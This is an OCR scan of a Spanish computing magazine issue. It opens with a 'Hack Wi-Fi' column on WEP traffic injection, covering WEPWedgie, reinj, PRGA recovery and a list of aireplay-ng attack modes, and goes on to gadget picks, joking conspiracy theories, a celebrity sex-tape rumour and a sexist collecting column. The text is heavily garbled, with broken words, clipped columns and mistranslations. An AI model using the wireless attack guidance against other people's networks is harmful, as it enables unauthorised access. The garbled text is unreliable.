mitir datos cifrados, rompe el protocolo
de cifrado WEP v éste se convierte en
una tarea mas sencilla, menos tediosa y
mds rapida. Mds en especial cuando se
utiliza un ataque FMS mejorado como el
que implementa dwepcrack. Se podrian
reventar redes inalambrica objetivo ocio-
sas, todo ello, gracias a algunos protoco-
los de red muy prolificos).

OpenBSD es el sistema operativo ba-
jo el que se compilan y ejecutan ambas
herramientas. El uso combinado de BSD-
Airtools y reinj de Wnet. Una espléndida
plataforma para la ruptura avanzada del
protocolo de cifrado WEF,

Si nos descargamos reinj de Wnet
(http/www.wi-foo.com/soft/attack/wnet.
tgz) nos encontraremos ante un fichero
empaquetado y comprimido. Si lo des-
empaduetados y lo descomprimimos nos
toparemos con el codigo fuente de las
librerias v de la herramienta en si. Como
observaréis esta herramienta esta progra-
mada en ANCII C. Si le echamos un vis-
tazo al cédigo fuente podremos observar
con mayor claridad y certeza como fun-
ciona dicha herramienta. De nuevo nos
acercamos al Software Libre ;)
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Pasemos ahora a hablar de
GNU/LINUX.

En GNU/LINUX contamos con una po-
tente y vieja herramienta que funcionan
desde la linea de comandos. Estoy hablan-
do de WepWedgie. WEPWedgie es una
caja de herramientas para determinar los
keystreams del protocolo de cifrado WEP
e inyectar trifico con los keystreams co-
nocidos. La caja de herramientas también
incluye la l6gica para la regla del corta-
fuego, pingscanning, y portscanning via el
canal de la inyeccion y un madem celular.
Podéis descargaros desde:
http://sourceforge.net/project/showfi-
les.phpigroup_id=85615&package_
id=8867b&release_id=176467

WEPWedge consiste en dos progra-
mas para permitir a un atacante inyectar
trafico en una red cifrada WEP. El primer
programa, prgasnarf se utiliza para descu
brir combinaciones de PRGA (algoritmo
de la generacion del nimero al azar de
Psuedo) y del intravenoso (vector de la
inicializacion). El otro programa, we-
pwedgie, utiliza la informacidn recogida
con el prgasnarf para inyectar trifico en
la red inaldmbrica.

Prgasnarf logra su tarea buscando
desatios y respuestas de la autentifica-
cidn. Cuando una estacion autentifica
con una red usando la autentificacion
de la llave compartida (shared-key) el
AP genera un ndmero al azar y lo envia
a la estacion. La estacion después cifra




ste ndmero con la llave de WEP y en-
1 el texto cifrado que resulta al AP. Si
AP puede descifrar esto al namero al
zar que envid inicialmente, después
leduce que el cliente tiene la llave
wrecta de WEP y que debe ser auten-
uficada.

Un problema se presenta porque
desafio inicial se envia en el claro.
uando la estacion cifra este texto pla-

no utiliza el protocolo de cifradoWEP
para generar un PRGA gue sea entonces
WOR-ed con el desafio del texto plano
producir la respuesta del texto cifrado.
Porque el PRGA es XOR-ed con el texto
plano que es posible para un atacante
que ha observado el desafio a XOR él
con el texto cifrado enviado en la res-
puesta y recuperar el PRGA usado para
cifrarlo.

Después de que se hayan recuperado
los datos de PRGA, un atacante puede
entonces utilizar el programa del WE-

PWedgie para conducir portscans del
TCP y del UDP, silba como una bala las
exploraciones, y la regla del cortafuego
prueba inyectando trifico en la red ina-
lambrica cifrada con WEP.

Debemos de observar que las redes
que usan la autentificacion abierta, sino
con el protocolo WEP para el cifrado no
son vulnerables a este tipo de ataque por-
que no hay autentificacion del desafio/de
la respuesta funcionando.

Realmente nosotros vamos a utilizar
otras herramientas para la inyeccion de
trdfico inaldmbrico en la red inaldmbrica
objetivo. Conociendo estas herramientas
podremos realizar del mismo modo el
ataque de inyeccion desde GNU/LINUX
y Microsoft Windows.

La herramienta que vamos a utilizar
es aireplay.

Haremos una pequena presentacion
y nos centraremos en ella en el préximo
articulo de Hack Wi-Fi.

Aireplay. De la suite aircrack

Aireplay-ng se usa para inyectar paque-
tes. Su funcidn principal es generar trafi-
co para usarlo mas tarde con aircrack-ng
y poder crackear claves del protocolo de
cifrado WEP v el protocolo de cifrado
WPA-PSK. Hay varios ataques diferentes
que se pueden utilizar para hacer desau-
tenticaciones con el objetivo de capturar
un handshake WPA, para realizar una
falsa autenticacion, un reenvio interac-
tivo de un paquete, 0 una reinyeccion
automadtica de un ARP-request. Con el
programa packetforge-ng es posible crear
paquetes “ARP request” de forma arbi-
traria. Aunque todavia no vamos a ver el
protocolo de cifrado WPA hasta mas ade-
lante vamos guardando algunas cosas pa-
ra que nos vaya sonando mads adelante ;)
La mayoria de los drivers tienen que
estar parcheados para ser capaces de inyec-
tar, no te olvides de leer Installing drivers:

Aprende las técnicas en Hacking e Informatica Forense de la mano
de los expertos en formacion de Internet Security Auditors

Aprende de forma

CEH

Erliad@d Hache

Su Seguridad es Nuestro Exito

ieteccion de

> ¥ auditors

| www.isecauditors.com




httpz//www.aircrack-ng.org/doku.php?id=install_drivers&Do
kuWiki=cfOf8aac65f59656bcec] 78a7bd8301b

Uso de los ataques con aireplay:

- Actualmente se pueden realizar cinco ataques diferentes:
- Ataque 0: Deautenticacion

- Ataque 1: Falsa autenticacion

- Ataque 2: Seleccion interactiva del paquete a enviar

- Ataque 3: Reinyeccion de una peticion ARP (ARP-request)
- Ataque 4: Ataque chopchop

- Ataque 5: Ataque de Fragmentacion

reat S wirtlessdefence-oo] Shwilifaircrack-2.41

Ele Edit View Teminal Taps Help

En el préximo capitulo iremos comentando todos estos
ataques para mds adelante llevarlos a la prictica. Como estaras
pensando van a empezar a aparecer unos cuentos articulos muy
practicos, interesantes y dtiles para el hacking inaldmbrico. Los
hemos comentado para que nos vayan sonando.

Conclusiones

Este mes hemos dedicado todo el espacio de Hack Wi-Fi para
introducirnos en ataques de inyeccion de trifico inalambrico.
Hemos empezado como es habitual con la teoria para mas ade-
lante dejar todo el espacio necesario para la practica/accidn.
Una de las cosas mds importantes que hemos aprendido hoy
es que los dispositivos inalambricos 802.11 pueden soportar el
modo RFMON / MONITOR y enviar paquetes, NUNCA con-
testar a una respuesta. Si el ejemplo que he puesto no te queda
del todo claro puedes formular tu respuesta o dudas en mi blog
(http://netting.wordpress.com), el foro del Taller (http://www.
hackwifi.tk) o si lo prefieres en las tierras de Wadalbertia (http:
www.wadalbertia.org), donde podéis encontrarme a diario.
Todavia nos queda por investigar que sucede con las nuevas
redes de IMAGENIO y ADSL de Telefénica. Empiezan a apare-
cer ya redes inalambricas con BSSID no soportados por los pro-
gramas que generan los diccionarios: wlandecrypter y NeW-Fi.
;Qué sucede con este tipo de redes inalambricas? ;Utilizan
el mismo patron que sus predecesores? jUtilizan otra direccion
MAC Ethernet para generar el Passphrase? jHan cambiado el
patron que genera la clave WEP? Son muchisimas las preguntas
que podriamos formularnos acerca de estas redes inalambricas
Digamos que yo también me he topado con una red inalan
brica de estas caracteristicas... Prometo, lo prometido es deuda
estudiar esta red inalambrica. Sacaré algunas conclusiones e
ideas y os las expondré en alguno de los articulos del Taller
Hack Wi-Fi. Estad atentos a mi blog ;)

En el proximo nimero.

Con esta introduccion y teoria nos metemos de lleno en mater

de inyeccidn de trafico inaldmbrico para la ruptura del proto-

colo de cifrado WEP. En el préximo capitulo terminaremos cor

la teoria y empezaremos a ver casos practicos, ataques reales

a redes inalambricas protegidas, que al fin y al cabo es lo que

mads nos interesa.

También, si el espacio nos lo permite hablaremos de las

nuevas redes inalambricas de

root S wirelessdefence: Mool <wihfaire ack-2_41

IMAGENIO y ADSL de Telef:
nica.

Mada mds por hoy, nos
vernos las caras en el proxim
numero de Hack Wi-Fi.

Un saludo lectores ;)

NeTTinG (Enrique Andrade
Gonziler
nettinghxc@gmail.com

http://www.wadalbertia.org
http://www.hackwiii %
http://www.blognetting %
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COMPRAS

Aqui es donde fusilamos de manera inmisericorde los respetables
blogs de gadgets de todo el mundo. Que conste que no nos apun-

tamos el mérito, pero si te gusta lo que has comprado a través de
estas paginas, una propinilla no vendria nada mal.

Silla ple[gahle pero de verdad
En vez de llevarse por ahi la silla plegable
de playa de toda la vida, tenemos la opor-
tunidad de cambiar de estilo y hacernos
con una robusta maleta convertible en
silla, fuertecita, fuertecita.
http://www.techeblog.com/index.php/tech-
gadget/suitcase-doubles-as-chair-doesn-t-
make-transforming-robot-noises

La corbata que respira
Si en el trabajo hay que llevar camisa y corbata, lo mejor es tener una corbata USB
que ventila y da salida al sudor de tantas horas con el cuello prieto.

http:/fwww.thanko.|p/usbnecktie/

'us,l_a.m..,@vymﬁ' | Wﬂ"@*ﬁ

La pinza para el USB

5i el mes pasado hablibamos de un utensilio
para recoger el cable USB, este mes sacamos
|a pinza para no tener los conectores por los
suclos, como suele pasar con tanto cable.
http://charlesandmarie.com/ifestyle-gems/
bestselling-lifestyle-gems/product/knicks-ca-
ble-holder- 1 tx_ttproducts_pi | %5BbackPID
%50=321&tstmp= 1190801568

La energia del Astro Rey

Habra que aprovechar de alguna manera
las tropelias que hemos causado en el
clima, como por ejemplo, las largas horas
de sol de todo el afio para cargar nuestros
dispositivos. O sea, un cargador solar de
cacharritos.
hitp:/fwww.usbgeek.com/prod_detail.
php?prod_id=0704

Otro tipo de radio para el bafic
Mas bien es un hilo musical para el WC, gue
s€ usa para reproducir diversas melodias
mientras hacemos de vientre, por ejemplo. Se
acabaron las incomodidades cuando se entea 3
retretes ajenos por los ruiditos de la miccide
Eso quien se sienta incémodo, claro.
http://www.findgift.com/gift-ideas/pid-
18435/



COMPRAS

La tetera tostadora, ingenio bipolar

Como los problemas de espacio son muy comunes,

#enen muy bien inventos como [a tetera tostadora,
dos cacharros en uno para ahorrar hueco en casa.
Attp:/fwww.teapottery.co.uk/Top_Sellers_0/Toas-
':,'f_TEﬂFﬂJt_EIq'.htm

Maquillate, maquillate

Tostadora chic

Ottra de tostadoras, esta vez para
los que si tengan espacio y, so-
bre todo, dinero. Una tostadora
con disefio nada menos que de
Bugalti, para los que dicen que
es0 de Ufesa para los pobres.
http://www.wheredidyoubuythat.
com/product_info.asp?ID=510
b&lype=LATEST &category==&c

ategoryid=

Musica de la vieja es-

cuela
Rescatamos los objetos de todo
friki de mds de 30, y entre ellos
el cassette. Este reproductor

til de masica tiene la forma
de las entranables cintas, para el
nostilgico de pro.
http://www.bookofjoe.
com/2007 /09 ffrom-the-websit.
hitml

Es "I-'I'H 1} I@ilﬂ

Estupendo tocador virtual, o set de maquillaje electrénico. Se conecta a la tele
y gracias a su cimara y sus efectos digitales nos mostrard nuestro aspecto con

‘todo tipo de mauillaje y peinados. Eso quien tenga pelo, claro.

hitp:/fwww.redsave.com/products/GirlTech-Digi-Makeover, 22

Que se vea algo en el mo-

g : wMOmiLe
vil, hombre it
Que la pantalla de tu mévil ya tie ﬁ\. Cojines de Transformers (de los bue-
costras, limpiala de vez en cuando, ' nos, no los de la peli)
aue lo de debajo son letras y colorines. :
Estas esponfitas con forma de sushi y Los puristas de Transformers que se estén tirando de los
pastelitos limpian y decoran a la vez. : pelos por el atropello de la pelicula de Michael Bay pue-
http:/fwww.ideashow.cn/list. = den relajarse apretando su pecho contra estos mullidos
asplid=780 o cojines de los Transformers originales. Ea, ea.

Y hitp://www.thinkgeek.com/geektoys/plush/97 e/



COMPRAS

Say hello to my

little lamp!

Tony Montana, ese
mito del cine y del buen
gusto. La célebre me-
tralleta del protagonista
de Scarface, convertida
en ldmpara para la me-

Mensajes en una tostada sita de noche.

Y la tercera de tostadas. La que nos ocupa nos permite dejar mensajes http://www.things-

en el pan, tras escribirlos en su pizarrita superior. Ideal para poner cosas youneverknew.

Que no nos importen, porgue nos las vamos a comer igualmente. com/website/store/
http://www.yankodesign. com/findex. php/2007/09/06/honey-i-left-it-on- product_detail.asp?Ul

.I|5@||’.!|'\.|.‘. 54

the-toast/

Sal y pimienta de una galaxia
muy, muy lejana

No puede faltar un producto relacionado con
La Guerra de las Galaxias en Friki Gadget. En
la cocina de casa quedarin de fibula estos
dispensadores de pimienta, con la forma de
R2D2 y R2Q2. Menudo puntazo cuando los
pongamos en la mesa.
http://technabob.com/blog/2007,/09/24/r2-
d2-grinds-out-fresh-a-pepp-a/

D=2007090622445
240&item%5Fno=3830
00&ltype=home&WT.
svl=HomellemD&WT.
ac=Homeltem(

Empieza el dia con
Energfas

Mo, no vamos a resefiar un Ac-
timel. Este despertador-granada
da la tabarra al somnoliento. Y

la da hasta que lo apaguemos,
como todos los despertadores.
Pero, {como se apaga? Pues
arrofdndolo por ahi, cual granada
verdadera.
hitp://www.kilian-nakamura.com/
blog-english/index. php/hand-
grenade-alarm-clock-to-blow-up-

your-morning/

Tu movil, mas hortera
Que ninguno

Y no es dificil. Solo que hay que
repasar catilogos y catilogos de
pegatinas y joyitas para nuestro
teléfono o iPod, porque hay para
hartarse. Para llamar la atencién no
basta ya con tener un mévil, hay
que vestirlo con las mejores galas.
O las peores, segin se mire.
http://www.strapya-world.com/cate-

gories/12_1 147 html
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LAS TEORIAS DE LA CONSPIRACION MAS
ESTUPIDAS DEL MUNDO
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| want (you) to believe

™o es por menospreciar a Internet, ni nada de eso, pero es
innegable que la Red es punto de encuentro de seguidores de
teorias de la conspiracidn de todo tipo y pelaje. Y seguramen-
te también serd punto de origen de muchas de esas teorias.

De las nuevas y de las que tienen mucho tiempo ya, porque
seguro que muchas de esas teorias les suenan a mis de uno.
Para comprobarlo solo hemos escogido una muestra, pero que
conste que hay que muchas mds. En http:/swallowingthecamel.
blogspot.com/2007/08/worlds-weirdeststupidest-conspiracy. ht-
ml estin algunas de las teorias mds estdpidas. Decimos algunas
porque el tema da para rato, y nunca se agotara eso de sacarse
de la manga alguna teoria nueva.

A continuacion, y para regocijo de los lectores, algunas de
las teorias que se pueden encontrar en dicha pagina. Es mucho
mejor traducir algo que hay ya escrito que devanarse los sesos
escribiendo algo creativo y de cosecha propia, faltaria mds.

Los jesuitas hundieron el Titanic. Que si, que lo hicieron
ellos. ;Por qué? Porque en el llamado “barco de los suefios” via-
jaban no pocos judios poderosos y de alto copete, y qué mejor
forma de borrarlos del mapa que Eunrjjr dicha nave.

Stephen King mat6 a John Lennon. Si alguien ve algo de 16-
gica en esto, por Dios que nos mande un correo y nos lo expli-
que. Por algo esta pdgina es la de las teorias mds estiipidas.

La reina Isabel | era un hombre. La verdadera reina muri6 de
pequena. Hoy en dia esto daria meses y meses de carnaza en la
tele.

JFK fue asesinado por el conductor del coche donde viajaba.
Si claro, después del trabajito que se dio Oliver Stone en la sala
de montaje ahora nos vienen con estas.

Hitler no murid, sino que escapé con vida al Artico junto
con algunos leales. Alli viviria en un submarino, pero no solo,
sino acompaiado de una especie de alienigenas superavanza-
dos que habitan en el nicleo del planeta. Y Roger Corman sin
rodar esto.

Los Beatles fueron creados por la divisién de guerra psico-
logica del ejército britdnico para minar la moral de la juventud
americana. 5i es que no hay mds que ver la cara de agente se-

ONOCGREER
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creto de Lennon. Esto explicaria en parte lo de Stephen King.

Y la cosa ai%ue. Y si, tienen su gracia, pero suponemos que
la gracia se acaba cuando alguien se la cree a pies juntillas, y
luego vienen las discusiones, que suelen empezar con un “pues
cosas mads raras se han visto”, como si con esa frase se explicara

g; TI-’I'- ] |@i|t
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Freak

Domain

Que si, que aqui tenemos toda, todita. ;Como

se explica si no todo eso de lo que hablamos?
JAcaso alguien pretende que hablemos de cosas
interesantes; Habiendo blogs para eso...

Tu propio andlisis de ADN, paso a paso

Esto no es que sea un Friki Gadget, es que directamente se sale
de la tabla. Porque un producto, por especializado que sea, al
estar en Internet parece estar al alcance de cualquiera y claro,
luego pasa lo que pasa. Por ejemplo, aqui tenemos un set portatil
para hacer andlisis de ADN. No es algo que necesitemos todos
nosotros, pero entre las neuras de cada uno, el éxito de las series
tipo CSl y la accesibilidad y facilidad de las compras por la Red,
no nos extranaria nada que dentro de poco viéramos unos cuan-
tos en los maleteros de amigos y familiares. Y si no, al tiempo.
3Qué puede haber mds friki que pasar la tarde haciendo pruebas
de ADN a todo objeto que se nos ponga por delante? Suponemos
que lo que faltara sera
acceder a una base de
datos de ADN, pero
eso tiene que ser pelin
mas complicado y eso
si que tiene que estar al
alcance de muy pocos.
Pero que nos quiten lo
bailao, o sea, el mo-
mentazo Grissom. CD
de misica electrénica
de fondo no incluido.

http://www.nec.co.jp/press/ja/0709/2501 .html

La comida entre rejas

Mo, no es nada relacionado con dietas estrictas. En esta pdgina
hay un curioso video sobre una no menos curiosa convencion
celebrada en Estados Unidos. En esta convencidn se dan cita
empresas y particulares relacionados con la comida que se sirve
en las cdrceles, Vamos, que para todo en esta vida hay conven-
ciones y reuniones. No solo se habla del tipo de comida que

se sirve, sino como se sirve. Por ejemplo, uno de los platos mds
famosos alli, el perrito de maiz, que por motivos obvios ha de
servirse sin palito, por aquello de evitar reyertas y peleas inne-
cesarias dentro de los muros del centro penitenciario. Quién

Toda la caspa
Que puedas
iImaginar
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http://www.slatev.com/player.html?id= 1 182700684

sabe, puede que alguien descubra su vocacion en este video y
monte una empresa para surtir alimentos y platos a la carcel de
su ciudad. Esa si es forma de entrar a una carcel, y no por las
malas, ya nos entendeis.

Lenguaje universal

Mola mucho eso de irse
de viaje allende las fron-
teras y que le entiendan

a uno. Sobre todo porque
es un alivio. Al menos, si
uno puede chapurrear al-
go de inglés, por ejemplo,
y nuestro interlocutor tam-
bién, se solucionan mu-
chas cosas, sobre todo a
la hora de comer y entrar
en los museos y demas.
En el caso de que no,
mala suerte. Bueno, eso y
a buscar alguna solucién
alternativa. ;Cual? Pues

el mas universal de los
lenguajes, el de los gestos.
Senalar, apuntar y agitar
los brazos, entre otros. Es-
ta pagina nos explica los
mas conocidos y eviden-
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http://www.languagetrainers.
co.uk/blog/2007/09/24/top-
| 0-hand-gestures/



ara bien o para mal de nuestra conversacion.

s usamos sabiamente, saldremos airosos de
< de un apuro. Si los usamos de forma errénea, Mﬂd dEl MES
bed que rezar por la cercania de la embajada 4 Tk
womar las de Villadiego. Empezamos la seccion con una resefia impresio-

nante. El autor de sendos fantisticos mods de
Wii y D5 con la temdtica de Zelda como motivo

sextapes, la fiebre que no cesa artistico nos regala una version muy personal de
pasa mucho tiempo entre filtraciones de videos Wii. coincidiendo con a llegada del prometedor
cuales de celebridades. Bueno, videos sexuales Metroid Prime 3: Corrption. En http:/fwww.
supuestas celebridades, porque no siempre se nintendowiifanboy.com/2007/09/26/metroid-wii-
nprueba que son esos famosos los que protago- mod-is-cooler-than-a-blast-from-an-ice-beam/

ran dichos videos. Que si, que haberlo haylos,
n ocasiones anteriores hemos hablado de ellos.
Jue ocurre es que, de vez en cuando, surgen

tenemos algunas folos acongojantes, por no decir
otra cosa. Menudo trabajo en honor a Samus

nores de supuestas cintas sexuales de famosos, Aran. Seguimos con otro mod Que tiene que ver con una consola de Nintendo.
saberse a ciencia cierta si existen. Y otras veces En hl:lpfm -EDHEESJ-HELf"ﬂIHIErfDSI]mﬂbm:uM nos encontramos con una
wrecen videos sexuales en los que se dice que version “grande” de la portdtil DS, usando dos pantallas de Tablet PC. O sea,
e tal o cual famoso. O sea, se deja caer que uno una burrada, y funciona y todo. Como no todo es agrandar, en http://gizmodo.
0s que estan en plena faena es alguien famoso. -::ﬂmi’gadgetsﬁdm-mMﬁm—mln%mﬂ-bﬂlng—shﬂ-ﬂﬁddiﬂg—gﬂﬁu& |
=, ¥ luego a rebatirlo si hay narices, que ya se 297866.php tenemos una version algo mis reducida de la primera generacién |
he .L;tsn:rﬂdeE- Iqu’fi “si ha sa:idu por Internet, es que de Xbox. O sea, sin Anillo Rojo de la Muerte, sino la Xbox de toda la vida, en
. cierto”. El video sexual que nos ocupa es uno en carcasa mds pequeia - 2
jue presuntamente aparece Meg White, bateria !r;':cast -f,uitas-r Imod! tamlta. TE“T;;“E ';?:;hup‘m“;“mcgu
e los celebérrimos The White Stripes. Aunque : - -=0me -php. donde : :
en los que saben del tema que ni por asomo la de convertir cualquier mando o cnrl:?;]h retro en instrumento musical, preferi-
sjer que sale en el video es Meg White. Puede blemente guitarra. Concretamente han usado una Dreamcast y un mando, y el
e se le parezca un poco, pero no lo es. Da igual, resultado es E’SP‘:CIECUIET.

orque el video ha volado por los blogs de toda la
Zed y el titular “Meg White sextape” era comdin en
iles de paginas. Hay quien dice que esta era la
-azon de la cancelacidn de la gira del grupo, pero
< bien seguro que se estin mezclando churras con
nerinas. A ver cudl es el préximo video sexual de

ina celebridad, lo haya protagonizado realmente &
e = |
E '~ L - o]
=V —— -
— Enll bercam Rada! -
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¢Te gusta el modding? ;Eres gamer? ;Quieres obtener el maximo rendimiento de tu ordenador?
¢Deseas conocer gente con tus aficiones para compartir conocimientos?
¢Quieres conocer una tienda de expertos y para expertos, donde te atienda gente como tu?

www.MOLD)-PC.com

Comunidad de informaticos con foro, noticias, muchas otras secciones y

una gran tienda online con miles de articulos de todo tipo.

Cl Sabino Arana, 34 48013 Bilbao - TIf: 944 27 28 32 - eMail: tienda@mod-pc.com - Skype: mod-pc
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http://www.oddee.com/item_89954.aspx

Urﬁl de las cosas que todo friki siempre ha querido tener es una matricula perso-
nalizada para su coche. No son pocas las veces que hemos visto una pelicula
© una serie de television en la que nos han puesto en primer plano una matricula
molona para ponernos los dientes largos. Y nosotros con la triste y matricula de
siempre. Pues eso se tiene que acabar. De verdad. Porque para colmo no dejan de
aparecer matriculas, a cudl mds canera y friki () para que nos entren alin mds ganas
por tenerlas. Que si, que si, que te gustan, no lo niegues ni te hagas el serio ahora,
que no cuela. Echa un vistazo a algunas imdgenes y a ver si tienes la misma opinion.

RT51-PLEASANT HILLS

ININOTLVAINIA

mmm \WVEB Chorra

N o hay como no poder librarse de las tram-
pas de la vida ni en la propia casa de uno.
O sea, que ni en la intimidad del hogar puede
uno librarse de las cosas que le ponen a uno

de los nervios alld fuera. Por ejemplo, los ban-
cos. ¢Cudl es la forma que proponen agui para
ahorrar con prudencia y sabiduria? Pues meter
en casa nada menos que un cajero automatico
de juguete. Nos explicamos. En vez de la tipi-

ca hucha de lata o el mas tipico cerdito hucha,

en esta web nos venden un cajero hucha (mejor
dicho, varios modelos). Echamos el dinero, y

para sacar dicho dinero para nuestros caprichos
usamos nada menos que nuestra propia tarjeta de
crédito, también de juguete. Vamos, que los nifos
ya pueden ir aprendiendo y asumiendo la tirania
de los bancos y los cajeros automiticos desde
pequenuelos.

“4Por qué no puedo tener una placa de matricula que ponga "Boom! Headshot!'7: Gaby Lopez
“Porgque la gue te vendria mejor es la Pringao al volante’, seguramente...”": Carlos Verdier
“Me quedo mejor con mi pegatina de "Mi otro vehiculo es el Halcon Milenario™: Pablo Guil
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Do you know...pong snng} 91423

20399 Unchained Melody
(BSO Ghost)
80373 BSO King Kong
90372 Misunderstood
(BS0 Bridget Jones)
90371 BSO El cuerpo del des
30650 BSO Darkman
90649 BSO Warlock
30648 BSO Psicosis
90647 BSO Poltergeist
30646 BSO Dracula
20370 BS0 El Codigo da Vine
90368 BSO Brokeback Moun..
367 Mo ordinary love
90366 Take my breath away
(B350 Top Gun)
0I5 We are
(B30 Spiderman 2)
90362 "Halding Out for a Hero
- (B S0, Shrek 2)
30361 Im klsgmg you
(B30 Romeo and Juliet)
90360 BSO Pretty woman
92061 Amor gitano
(BSO El'Zorro)
91534 How to save a life
(B50 Anatomia de Grey)
91424y Keep holding on
1(B50 Eragon)
Black suits coming
‘ (BSO Men in black)
912741850 American Beauty
91215 Who Are You?
(BS0 CSl Las Vegas)
90893 Eye of the tiger
(BS0 Rocky )
90881 Dream a little dream
(BS0 French kiss)
90656 Anuncio Coca Cola Zero
90651 BSO The Crow
90356 Independent women
90355 Everything burns

88171 Sintonia spot Audi A4

88014 Jacques your body
(Anuncio Citroen)

87286 Sintonia loteria navidad

B6925 Anuncio laca Amstel

86061 King Kong song

86060 King Kong

86055 BSO mascara del Zorro

86054 BSO Sonrisas y lagrimas

86043 Sintonia cabecera Aida

85974 Sintonia Hospital central

¢« POP/ROCK

90223 Love Kills

90222 | was born to love you
90221 Made in heaven
20220 Living on my own
30192 All we are

20034 Voy a vivir B
90033 Crystal Ball

90024 Call me when you're__.
89971 Vivir sin recordar
89948 Nacemos solos
89947 Lavirgen de la soledad
89890 Bizarre Love Triangle
89886 You

9885 The fool on the hill
BO9BB0 The other side

89872 Alone together

89869 Don't love you no more
89868 Trobule sleeping

89867 Black Sweat

89865 Unfaithful

89864 Minimal

89870 Smile

89863 | Write Sins Not Traged..
89862 Supermassive black hole
89860 Japanese Guy

89859 Komo si na

89858 An Easier Affair

89826 Rock This Party

89813 Last train to London
89812 Substitute -
89811 My generation

89810 Who Knew

89802 Fotografia

89784 Lalsla Bonita

89783 You're all | have

89782 Wiseman W ==,
89773 Livin la vida loca
89770 Porcelain

89768 Dejavu

89727 Stars are blind

B9723 Je T adore

89722 Gettogether

89673 Tell me baby

91261 Alive

81255 Thinking about you
91254 Beware of the dﬁ
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Cuando el amor es ciego y sordo... e imbeécil

Situandonos en un contexto que nos resulte a todos conocido, pongamos que ustedes tienen
por aficion o distraccion coleccionar, recoger o administrar una serie de elementos relacionados
con el divertimento por video, sean ordenadores domésticos, sean consolas de juegos. Ponga-
mos que usted cuenta con una cantidad de material para nada casual, que tanto la cantidad de
espacio y tiempo orientados a ello sobrepasan o completan alguna habitacién de sus domicilios
o las tres horas diarias que las estadisticas indican que el espafiolito medio dedica a sus hobbies.
Felicidad en estado puro. ;A que si?



1 mundo roto en mil pedazos
w repente, un susto. Nos enteramos de
we usted ha tomado la determinacion
v deshacerse de todo su material. Y digo
00 su material. Nos refratamos los
o, colocamos la mandibula en su sitio
=cogemos lo que se nos ha caido patas
Hago. Nos parece imposible, usted, casi
sstro idolo, esa persona que todos hu-
“=emos querido ser aunque fuera por
os instantes, usted que tiene un Panzer
ragoon Saga de Saturn, usted que tiene
2 Rodland de NES, usted que tiene un
~am Coupé en caja, manuales y discos.
2 no le queremos, nos ha decepcionado,
e. pero pasenos la lista de lo que vende,
ver si podemos rapinar alguna cosilla.
;Qué le ha sucedido? jPor qué tomar
ma decisidn tan dramdtica? Pues a eso in-
wentaré responderles o intuirles, y agdrren-
« los machos, que alguno de ustedes se
‘2 a sentir espantosamente identificado.

Cave amantum

tn la grandisima mayoria de los casos el
»mor barra matrimonio es la causa de
semejantes fracturas. ;Qué pareja no ha
ntentando amoldar a una de las partes

#n aparente contra voluntad? Artimanas,
wrgucias, pequenos sobornos, palabritas
melosas en algunas ocasiones; palabras
gruesas, amenazas y limpiezas traicioneras
en olros casos. A efectos practicos la es-
posa o concubina suele ser raposa y hace
ver que traga, deja al macho campar para
ue no moleste en exceso. O incluso que
no moleste en nada. Mientras la hembra
no vea peligrar su integridad v su indepen-
dencia, y tenga en el macho una rama en
\a que estar bien aposentada permite que
el hombre tenga sus juguetitos, sus parti-
ditos de fiithol televisados, sus canitas en
el bar. ;O es que se piensan ustedes que
\os hombres hacemos lo que nos viene en
real ganaf Mo, ilusos, hacemos lo que las
mujeres nos permiten hacer. Igual ellas
son el sexo débil pero desde luego no-
sotros somos el sexo tonto. Que nos den
unos lapices de colores y veran que felices
nos hacen.

Cuando la parte femenina de la pareja

-en un cldsico rol, ya me entienden- re-
sulta marcadamente dominante, adids
juguetitos, adids fatbol televisado y adids
canitas en el bar. El 80% de subastas que
podemos encontrar en el portal eBay

v dedicados a la oferta de colecciones
espectaculares son causa del amor barra
matrimonio. Existen tres modalidades: una
e5 la del pobre hombre que se ve obliga-
do a vender toda su coleccidn por efecto
marital, en la mayoria de los casos por
imposicidn, por el clisico 'o las maquinas
o yo' o por el no menos clasico 'si me
quisieras de verdad'. En un segundo caso
se comprende mds ldgicamente, y es la

llegada de un retono y con él la falta de
espacio v la necesidad de dedicarle més
tiempo. Y el tercer caso -que no excluye a
los anteriores- es el mds pragmatico, el de
la pasta, la necesidad de dinero. Los hay
que han vendido toda su coleccidn para
poderse costear una nueva vivienda, los
hay que se deshacen de la coleccidn para
pagar los costes de la boda, los hay que -
triste pero cierto- reciben una cartita de un
picapleitos y han de perder la propiedad
de todo ante una demanda de divorcio,
sea para pagar a la vampiresa o fuera para

{QUE PAREJA NO HA

INTENTADO AMOLDAR A UNA
DE LAS PARTES EN APARENTE

CONTRA VOLUNTAD?

RETROINFORMATICA AMORES LOCOS E

aligerar el equipaje y poder pemoctar, al
menos, en el coche,

Mo es que una coleccién potente au-
gure una inversién de futuro. Las ventas
precipitadas -y las determinadas por el
amor barra matrimonio lo son- en cierta
manera obligan a vender ripido y corrien-
do y no poder sacar buena parada de las
propiedades. 5i que permiten un ingreso
repentino de capital, si sirve de consuelo
recordarlo. Este tipo de ventas a la deses-
perada son a lo grande, en plan desalojo,
y necesitan de un comprador solvente dis-
puesto a pagar una morterada de golpe. O
no tanta pasta como parece, luego les cito
ejemplos, no se vayan.

Dinerisimo

Otro motivo para vender de sopetén toda
una coleccidn traiciona en cierta manera
la dedicacidn que hasta ese momento se
ha tenido. ¥ la traiciona sin despecho para
dedicarse a otra, a rey muerto rey puesto.
Lo van a entender con la subasta nimero
150113746425 de eBay. El vendedor en
cuestion queria dinerito para comprarse
un coche, un Nissan 350Z. Busquen por
internet alguna fotillo del automévil ese y
verdan que el vendedor que les cuento no
tiene mal gusto, no.

Quien vendia su coleccidn para
poderse comprar el Nissan ofrecia 24
consolas -desde una Atari 2800 hasta una
Xbox-, dos ordenadores, 449 juegos y
diversa morralla como revistas, joysticks
y guias de juegos. La subasta termind en
1.999 délares mas 250 en concepto de




AMORES LOCOS

gastos de envio, que sale a casi 35 ddla-
res cada mdaquina y el resto de juegos y
memorabilia, gratis. Y solamente hubo un
pujante. Un tipo con suerte.

Una de las ventas "por amor” la
encontramos en el articulo ndmero
300098200280. Fueron 32 mdquinas -
desde una Veectrex hasta una Virtual Boy,
pasando por NeoGeo, PS2 o GameCube-,
unos 400 juegos y mandos, todo ello
alcanzando un precio final de 3.600 déla-

]
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LOS HAY QUE HAN
VENDIDO TODA SU
COLECCION ANTE UNA
DEMANDA DE DIVORCIO,
SEA PARA PAGAR A LA
VAMPIRESA O PARA
ALIGERAR EL EQUIPAJE Y
PODER PERNOCTAR EN EL
COCHE

res. Este inocente vendedor argumentaba
que se iba a casar con una estupenda
